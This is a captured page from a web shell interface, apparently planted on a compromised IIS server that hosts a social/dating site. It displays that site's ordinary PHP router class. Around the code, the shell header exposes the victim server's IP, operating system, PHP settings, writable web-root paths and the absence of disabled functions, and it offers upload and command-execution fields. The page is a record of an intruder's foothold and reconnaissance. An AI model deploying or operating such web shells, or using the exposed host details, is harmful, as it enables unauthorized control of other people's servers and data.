403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/router.class.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

class Router {

    static public $includePageCompatibleWithSystem = '';
    static public $isUserPageCompatibleWithSystem = false;

    static function init(){
        global $g;
        global $p;

        $g['router'] = array(
            'load'      => 0,
            'load_core' => 0,
            'page'      => ''
        );

        if ($p == 'router.php') {
            $g['router']['load'] = 1;
            $g['router']['load_core'] = 1;
            $routerPage = isset($_GET['router_page']) ? $_GET['router_page'] : '';
            if (!$routerPage) {
                $routerPage = Router::getIncludePageCompatibleWithSystem();
            }
            $g['router']['page'] = $routerPage . '.php';
            $p = $g['router']['page'];
        }
    }

    static function getIncludePage($nameSeo = null, $checkEnabledGroup = false){
        global $g;

        if (self::$includePageCompatibleWithSystem) {
            return self::$includePageCompatibleWithSystem . '.php';
        }

        if ($nameSeo === null) {
            $nameSeo = get_param('name_seo');
        }

        if (!$nameSeo) {
            return '';
        }

        if ($checkEnabledGroup && get_param_int('group_id') && !Common::isOptionActiveTemplate('groups_social_enabled')) {
            return '';
        }

        $page = '';
        $uid = 0;
        $groupInfo = Groups::getInfoFromNameSeo($nameSeo);

        if ($groupInfo) {//Groups
            $nameSeo = User::getNameSeoFromUid($groupInfo['user_id']);
            if ($nameSeo) {

                if (!Common::isOptionActiveTemplate('groups_social_enabled')) {
                    return '';
                }

                Groups::isBan($groupInfo['group_id']);

                $uid = $groupInfo['user_id'];
                $_GET['name_seo'] = $nameSeo;
                $_GET['group_id'] = $groupInfo['group_id'];

                $_GET['view'] = $groupInfo['page'] ? 'group_page' : 'group';
                $_GET['type_group'] = $groupInfo['page'] ? 'page' : 'group';
            }
        } else {//Users
            $uid = User::getUidFromNameSeo($nameSeo);
        }

        if ($uid && $g['router']['page']) {
            $_GET['display'] = 'profile';
            $page = $g['router']['page'];
            if (!$groupInfo && $page === 'groups_social_subscribers') {
                $page = '';
            }
        }

        return $page;
    }

    /* Name SEO */
    static function getUniqueNameSeo($name)	{
        $sql = 'SELECT `name_seo`
				  FROM `groups_social`
                 WHERE `name_seo` LIKE \'' . to_sql($name, 'Plain') . '-%\'' ;
		$allNameSeo = DB::column($sql);

        $sql = 'SELECT `name_seo`
				  FROM `user`
                 WHERE `name_seo` LIKE \'' . to_sql($name, 'Plain') . '-%\'' ;
		$allNameSeoUser = DB::column($sql);

        $allNameSeo = array_merge($allNameSeo, $allNameSeoUser);
        $nameSeo = self::getIndexNameSeo($name, $allNameSeo);
        return $nameSeo;
    }

    static function getIndexNameSeo($name, $allNameSeo)	{
        $i = 0;
        do {
            $i++;
            $nameSeo = "{$name}-{$i}";
        } while(in_array($nameSeo, $allNameSeo) && $i < 1000000);
        return $nameSeo;
    }

    static function prepareNameSeo($name){
        return mb_strtolower(str_replace(array(' ', '?', '*', '|', '>', '<', ':'), '_', $name), 'utf-8');
    }

    static function getNameSeo($name, $id = 0, $type = 'group', $getUnique = true) {
        $name = self::prepareNameSeo($name);
        $sql = 'SELECT `group_id` FROM `groups_social` WHERE `name_seo` = ' . to_sql($name);
        if ($id && $type == 'group') {
            $sql .= ' AND `group_id` != ' . to_sql($id);
        }
        $isNameExists = DB::result($sql, 0, DB_MAX_INDEX);
        if (!$isNameExists) {
            $sql = 'SELECT `user_id` FROM `user` WHERE `name_seo` = ' . to_sql($name);
            if ($id && $type == 'user') {
                $sql .= ' AND `user_id` != ' . to_sql($id);
            }
            $isNameExists = DB::result($sql, 0, DB_MAX_INDEX);
        }
        $nameSeo = '';
        if ($isNameExists) {
            if ($getUnique) {
                $nameSeo = self::getUniqueNameSeo($name);
            }
        } else {
            $nameSeo = $name;
        }
        return $nameSeo;
    }
    /* Name SEO */

    static function checkParamInt($param) {
        return strval($param) === strval(intval($param));
    }

    static function checkParamDate($date) {
        $d = DateTime::createFromFormat('Y-m-d', $date);
        return $d && $d->format('Y-m-d') == $date;
    }

    static function getCheckParam($param) {
        $checkParam = 'Int';
        if ($param == 'date') {
            $checkParam = 'Date';
        }
        return $checkParam;
    }

    static function getIncludePageCompatibleWithSystem($nameSeo = null) {
        if ($nameSeo === null) {
            $nameSeo = get_param('name_seo');
        }

        $includePage = 'search_results';
        if (!$nameSeo) {
            return $includePage;
        }

        $nameSeoParam = $nameSeo;
        $nameSeoPart = array();
        if (mb_strpos($nameSeo, '/', 0, 'UTF-8') !== false) {
            $nameSeoPart = explode('/', $nameSeo);
            $nameSeoParam = $nameSeoPart[0];
        }

        $groupInfo = Groups::getInfoFromNameSeo($nameSeoParam);
        if ($groupInfo) {
            $uid = $groupInfo['user_id'];
        } else {
            $uid = User::getUidFromNameSeo($nameSeoParam);
        }

        //var_dump_pre($uid, true);

        if ($uid) {
            $_GET['name_seo'] = $nameSeoParam;
        } else {
            $_GET['name_seo'] = '';
        }

        $countSeoPart = count($nameSeoPart);

        $nameSeoParamFromCheck = $nameSeoParam;
        $pagesSysytem = self::getPagesCompatibleWithSystem();
        $isPageSysytem = isset($pagesSysytem[$nameSeoParamFromCheck]);
        $lavelUrl = 1;
        if (!$isPageSysytem && $uid && $countSeoPart > 1) {
            $nameSeoParamFromCheck = $nameSeoPart[1];
            $isPageSysytem = isset($pagesSysytem[$nameSeoParamFromCheck]);
            $lavelUrl = 2;
        }

        if ($isPageSysytem) {
            $pagesSysytemData = $pagesSysytem[$nameSeoParamFromCheck];
            $isArrayPagesSysytemData = is_array($pagesSysytemData);

            if ($isArrayPagesSysytemData) {
                $includePage = $pagesSysytemData['page'];
                if (isset($pagesSysytemData['params']) && $pagesSysytemData['params']) {
                    foreach ($pagesSysytemData['params'] as $key => $value) {
                        $_GET[$key] = $value;
                    }
                }
            } else {
                $includePage = $pagesSysytemData;
            }
            if (!$uid) {
                self::$includePageCompatibleWithSystem = $includePage;
            }

            if ($countSeoPart > 1){
                $baseSeoUrl = $countSeoPart - 1;
                if ($baseSeoUrl > 0) {
                    $_GET['base_seo_url'] = $baseSeoUrl;//$lavelUrl
                }

                $paramSecondary = 'page';
                if ($isArrayPagesSysytemData && isset($pagesSysytemData['param_secondary'])) {
                    $paramSecondary = $pagesSysytemData['param_secondary'];
                }
                $paramValue = false;

                if ($paramSecondary == 'date') {
                    if (isset($nameSeoPart[$lavelUrl])) {
                        if (self::checkParamDate($nameSeoPart[$lavelUrl])) {
                            $paramValue = $nameSeoPart[$lavelUrl];
                        }
                    }
                } elseif (isset($nameSeoPart[$lavelUrl]) && self::checkParamInt($nameSeoPart[$lavelUrl])) {
                    $paramValue = intval($nameSeoPart[$lavelUrl]);
                } elseif ($uid) {
                    if (count($nameSeoPart) == 3) {
                        if (self::checkParamInt($nameSeoPart[2])) {
                            $paramValue = intval($nameSeoPart[2]);
                            $_GET['base_seo_url'] = 2;
                        } elseif ($isArrayPagesSysytemData && isset($pagesSysytemData['page_secondary'])) {//Blog post
                            if ($nameSeoPart[2]) {
                                $includePage = $pagesSysytemData['page_secondary'];
                                $paramSecondary = $pagesSysytemData['page_param_secondary'];
                                $paramValue = $nameSeoPart[2];
                                $_GET['base_seo_url'] = 2;
                            }
                        }
                    }
                }

                if ($paramValue !== false) {
                    $_GET[$paramSecondary] = $paramValue ? $paramValue : 1;
                }

				$paramsSecondaryOther = array('param_secondary_1');
				foreach ($paramsSecondaryOther as $param) {
					if ($isArrayPagesSysytemData && isset($pagesSysytemData[$param])
							&& is_array($pagesSysytemData[$param])) {
						$param1 = $pagesSysytemData[$param][1];
						if (isset($nameSeoPart[$param1])) {
							$param2 = $pagesSysytemData[$param][0];
							$_GET[$param2] = $nameSeoPart[$param1];
						}
					}
				}

            }

            if (isset($pagesSysytemData['params']) && $pagesSysytemData['params']) {
                $_GET['router_query_string'] = http_build_query($pagesSysytemData['params']);
            }
        }

        return $includePage;
    }

    static function getPagesCompatibleWithSystem($isGetKeys = false) {
        global $p;

        if ($p != 'router.php' && !$isGetKeys) {
            return array();
        }

        $pages = array(
            'about'                 => 'about',
            'contact'               => 'contact',
            'terms'                 => array('page' => 'info', 'params' => array('page' => 'term_cond')),
            'privacy_policy'        => array('page' => 'info', 'params' => array('page' => 'priv_policy')),

            'index'                 => 'index',
            'login'                 => array('page' => 'join', 'params' => array('cmd' => 'please_login')),
            'join'                  => 'join',
            'join2'                 => 'join2',
            'forget_password'       => 'forget_password',
            'email_not_confirmed'   => 'email_not_confirmed',

            'games'                 => 'games',
            'messages'              => 'messages',
            'page'                  => 'page',
            'audiochat'             => 'audiochat',
            'videochat'             => 'videochat',
            'mutual_attractions'    => 'mutual_attractions',
            'users_viewed_me'       => 'users_viewed_me',
            'profile_view'          => 'profile_view',
            'users_rated_me'        => 'users_rated_me',
            'increase_popularity'   => 'increase_popularity',
            'profile_settings'      => 'profile_settings',
            'mail_whos_interest'    => 'mail_whos_interest',
            'general_chat'          => 'general_chat',
            'moderator'             => 'moderator',
            'upgrade'               => 'upgrade',
            'user_block_list'       => 'user_block_list',
            'search_results'        => 'search_results',
            'encounters'            => array('page' => 'search_results', 'params' => array('display' => 'encounters')),
            'hot_or_not'            => array('page' => 'search_results', 'params' => array('display' => 'encounters')),
            'rate_people'           => array('page' => 'search_results', 'params' => array('display' => 'rate_people')),
            'favorite_list'         => 'favorite_list',


            'my_friends'           => 'my_friends',
            'friends_list'         => 'my_friends',
            'private_photo_access' => 'my_friends',
            'friends'              => array('page' => 'friends_list', 'page_param_secondary' => 'name_seo', 'param_secondary' => 'offset'),
            'friends_online'       => array('page' => 'friends_list_online', 'page_param_secondary' => 'name_seo', 'param_secondary' => 'offset'),


            'blogs_add'                => 'blogs_add',
            'blog_edit'                => array('page' => 'blogs_add', 'param_secondary' => 'blog_id'),
            'blogs'                    => array('page' => 'blogs_list', 'page_secondary' => 'blogs_post', 'page_param_secondary' => 'blog_seo'),
            'blogs_post_liked'         => array('page' => 'search_results', 'params' => array('show' => 'blogs_post_liked'), 'param_secondary' => 'blog_id'),
            'blogs_post_liked_comment' => array('page' => 'search_results', 'params' => array('show' => 'blogs_post_liked_comment'), 'param_secondary' => 'comment_id'),


            'calendar'              => array('page' => 'calendar', 'param_secondary' => 'date', 'param_secondary_1' => array('task_id', 3)),
            'task_create'           => array('page' => 'calendar_task_create', 'param_secondary' => 'date'),
            'task_edit'             => array('page' => 'calendar_task_edit', 'param_secondary' => 'event_id'),


			'photos'                => 'photos_list',
            'photo_liked'           => array('page' => 'search_results', 'params' => array('show' => 'photo_liked'), 'param_secondary' => 'photo_id'),
            'photo_liked_comment'   => array('page' => 'search_results', 'params' => array('show' => 'photo_liked_comment'), 'param_secondary' => 'comment_id'),


			'vids'                  => 'vids_list',
            'video_liked'           => array('page' => 'search_results', 'params' => array('show' => 'video_liked'), 'param_secondary' => 'video_id'),
            'video_liked_comment'   => array('page' => 'search_results', 'params' => array('show' => 'video_liked_comment'), 'param_secondary' => 'comment_id'),


            'wall'                  => 'wall',
            'wall_liked'            => array('page' => 'search_results', 'params' => array('show' => 'wall_liked'), 'param_secondary' => 'wall_item_id'),
            'wall_liked_comment'    => array('page' => 'search_results', 'params' => array('show' => 'wall_liked_comment'), 'param_secondary' => 'comment_id'),
            'wall_shared'           => array('page' => 'search_results', 'params' => array('show' => 'wall_shared'), 'param_secondary' => 'wall_shared_item_id'),


            /* 3DCity */
            'city'                 => array('page' => 'city', 'params' => array('place' => 'city')),
            'street_chat'          => array('page' => 'city', 'params' => array('place' => 'street_chat')),
            '3d_labyrinth'         => array('page' => 'city', 'params' => array('place' => '3d_labyrinth')),
            '3d_tic_tac_toe'       => array('page' => 'city', 'params' => array('place' => '3d_tic_tac_toe')),
            '3d_connect_four'      => array('page' => 'city', 'params' => array('place' => '3d_connect_four')),
            '3d_chess'             => array('page' => 'city', 'params' => array('place' => '3d_chess')),
            '3d_giant_checkers'    => array('page' => 'city', 'params' => array('place' => '3d_giant_checkers')),
            '3d_sea_battle'        => array('page' => 'city', 'params' => array('place' => '3d_sea_battle')),
            '3d_reversi'           => array('page' => 'city', 'params' => array('place' => '3d_reversi')),
            '3d_hoverboard_racing' => array('page' => 'city', 'params' => array('place' => '3d_hoverboard_racing')),
            '3d_space_racing'      => array('page' => 'city', 'params' => array('place' => '3d_space_racing')),
            '3d_space_labyrinth'   => array('page' => 'city', 'params' => array('place' => '3d_space_labyrinth')),
            '3d_building_room'     => array('page' => 'city', 'params' => array('place' => '3d_building_room')),
            '3d_virtual_office'    => array('page' => 'city', 'params' => array('place' => '3d_virtual_office')),
            '3d_rubiks_cube'       => array('page' => 'city', 'params' => array('place' => '3d_rubiks_cube')),
            '3d_ice_cave_racing'   => array('page' => 'city', 'params' => array('place' => '3d_ice_cave_racing')),
			'3d_neon_racing'	   => array('page' => 'city', 'params' => array('place' => '3d_neon_racing')),
			'3d_busy_road'	       => array('page' => 'city', 'params' => array('place' => '3d_busy_road')),
            '3d_billiards'	       => array('page' => 'city', 'params' => array('place' => '3d_billiards')),
            /* 3DCity */

            'mutual_likes'         => array('page' => 'mutual_attractions'),
            'who_likes_you'        => array('page' => 'mutual_attractions', 'params' => array('cmd' => 'who_likes_you')),
            'whom_you_like'        => array('page' => 'mutual_attractions', 'params' => array('cmd' => 'whom_you_like')),

            'social_network_info'  => array('page' => 'info', 'params' => array('page' => 'social_network_info')),

            /* Groups + Pages */
            'group_add'            => 'group_add',
            'group_edit'           => array('page' => 'group_add', 'param_secondary' => 'group_id', 'params' => array('cmd' => 'edit')),
            'page_add'             => array('page' => 'group_add', 'params' => array('view' => 'group_page')),
            'page_edit'            => array('page' => 'group_add', 'param_secondary' => 'group_id', 'params' => array('cmd' => 'edit', 'view' => 'group_page')),

            'photos_pages'         => array('page' => 'photos_list', 'param_secondary' => 'page', 'params' => array('view_list' => 'group_page')),
			'photos_groups'        => array('page' => 'photos_list', 'param_secondary' => 'page', 'params' => array('view_list' => 'group')),
			'photos_my_pages'      => array('page' => 'photos_list', 'param_secondary' => 'page', 'page_param_secondary' => 'name_seo', 'params' => array('view_list' => 'group_page')),
            'photos_my_groups'     => array('page' => 'photos_list', 'param_secondary' => 'page', 'page_param_secondary' => 'name_seo', 'params' => array('view_list' => 'group')),

            'vids_pages'           => array('page' => 'vids_list', 'param_secondary' => 'page', 'params' => array('view_list' => 'group_page')),
            'vids_groups'          => array('page' => 'vids_list', 'param_secondary' => 'page', 'params' => array('view_list' => 'group')),
            'vids_my_pages'        => array('page' => 'vids_list', 'param_secondary' => 'page', 'page_param_secondary' => 'name_seo', 'params' => array('view_list' => 'group_page')),
            'vids_my_groups'       => array('page' => 'vids_list', 'param_secondary' => 'page', 'page_param_secondary' => 'name_seo', 'params' => array('view_list' => 'group')),


			'songs_pages'          => array('page' => 'songs_list', 'param_secondary' => 'page', 'params' => array('view_list' => 'group_page')),
            'songs_groups'         => array('page' => 'songs_list', 'param_secondary' => 'page', 'params' => array('view_list' => 'group')),
			'songs_my_pages'      => array('page' => 'songs_list', 'param_secondary' => 'page', 'page_param_secondary' => 'name_seo', 'params' => array('view_list' => 'group_page')),
            'songs_my_groups'     => array('page' => 'songs_list', 'param_secondary' => 'page', 'page_param_secondary' => 'name_seo', 'params' => array('view_list' => 'group')),


            'groups'               => array('page' => 'groups_list', 'page_secondary' => 'groups_list', 'page_param_secondary' => 'name_seo'),
            'pages'                => array('page' => 'groups_list', 'page_secondary' => 'groups_list', 'page_param_secondary' => 'name_seo', 'params' => array('view' => 'group_page')),

            'block_list'           => array('page' => 'groups_social_block_list', 'page_param_secondary' => 'name_seo'),
            'subscribers'          => array('page' => 'groups_social_subscribers', 'page_param_secondary' => 'name_seo'),
            'liked'                => array('page' => 'groups_social_subscribers', 'page_param_secondary' => 'name_seo'),
            /* Groups + Pages */


            'live'                 => array('page' => 'live_streaming', 'param_secondary' => 'live'),
            'live_'                => array('page' => 'live_streaming', 'param_secondary' => 'live', 'params' => array('stream' => 1)),
            'live_list'            => 'live_list',
			'live_list_finished'   => 'live_list_finished',
            'songs'                => 'songs_list',
        );

        return $pages;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit